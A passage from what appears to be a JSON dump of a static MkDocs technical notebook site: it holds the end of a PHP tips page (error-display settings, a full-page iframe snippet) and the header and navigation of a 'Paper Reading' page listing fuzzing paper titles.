class=\"codehilite\"><pre><span></span><code><span class=\"cp\">&lt;?php</span>\n    <span class=\"nb\">ini_set</span><span class=\"p\">(</span><span class=\"s1\">&#39;display_errors&#39;</span><span class=\"p\">,</span> <span class=\"k\">true</span><span class=\"p\">);</span>\n    <span class=\"nb\">error_reporting</span><span class=\"p\">(</span><span class=\"k\">E_ALL</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<h2 id=\"iframe\">全页面iframe<a class=\"headerlink\" href=\"#iframe\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"cp\">&lt;!DOCTYPE html&gt;</span>\n<span class=\"p\">&lt;</span><span class=\"nt\">body</span> <span class=\"na\">style</span><span class=\"o\">=</span><span class=\"s\">&quot;padding:0; margin:0;&quot;</span><span class=\"p\">&gt;</span>\n<span class=\"p\">&lt;</span><span class=\"nt\">iframe</span> <span class=\"na\">src</span><span class=\"o\">=</span><span class=\"s\">&quot;https://py3.io&quot;</span> <span class=\"na\">style</span><span class=\"o\">=</span><span class=\"s\">&quot;visibility: visible;height: 100%; position:absolute&quot;</span> <span class=\"na\">allowtransparency</span><span class=\"o\">=</span><span class=\"s\">&quot;true&quot;</span> <span class=\"na\">marginheight</span><span class=\"o\">=</span><span class=\"s\">&quot;0&quot;</span> <span class=\"na\">marginwidth</span><span class=\"o\">=</span><span class=\"s\">&quot;0&quot;</span> <span class=\"na\">frameborder</span><span class=\"o\">=</span><span class=\"s\">&quot;0&quot;</span> <span class=\"na\">width</span><span class=\"o\">=</span><span class=\"s\">&quot;100%&quot;</span><span class=\"p\">&gt;&lt;/</span><span class=\"nt\">iframe</span><span class=\"p\">&gt;</span>\n<span class=\"p\">&lt;/</span><span class=\"nt\">body</span><span class=\"p\">&gt;&lt;/</span><span class=\"nt\">html</span><span class=\"p\">&gt;</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/PaperReading/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Jekyll/\">\n      \n      \n        <link rel=\"next\" href=\"../WindowsSoftware/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Paper Reading - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#paper-reading\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Paper Reading\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Paper Reading\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Paper Reading\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#fuzzing-error-handling-code-using-context-sensitive-software-fault-injection\" class=\"md-nav__link\">\n    Fuzzing error-handling code using context-sensitive software fault injection\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pangolin-incremental-hybrid-fuzzing-with-polyhedral-path-abstraction\" class=\"md-nav__link\">\n    PANGOLIN: Incremental Hybrid Fuzzing with Polyhedral Path Abstraction\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#full-speed-fuzzing-reducing-fuzzing-overhead\" class=\"md-nav__link\">\n    Full speed Fuzzing: Reducing Fuzzing Overhead\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#effective-program-debloating-via-reinforcement-learning\" class=\"md-nav__link\">\n    Effective Program Debloating via Reinforcement Learning\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#greyone-data-flow-sensitive-fuzzing\" class=\"md-nav__link\">\n    GREYONE: Data Flow Sensitive Fuzzing\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vuzzer\" class=\"md-nav__link\">\n    VUzzer的变异操作\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#leaky-images-targeted-privacy-attacks-in-the-web\" class=\"md-nav__link\">\n    Leaky Images: Targeted Privacy Attacks in the Web\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          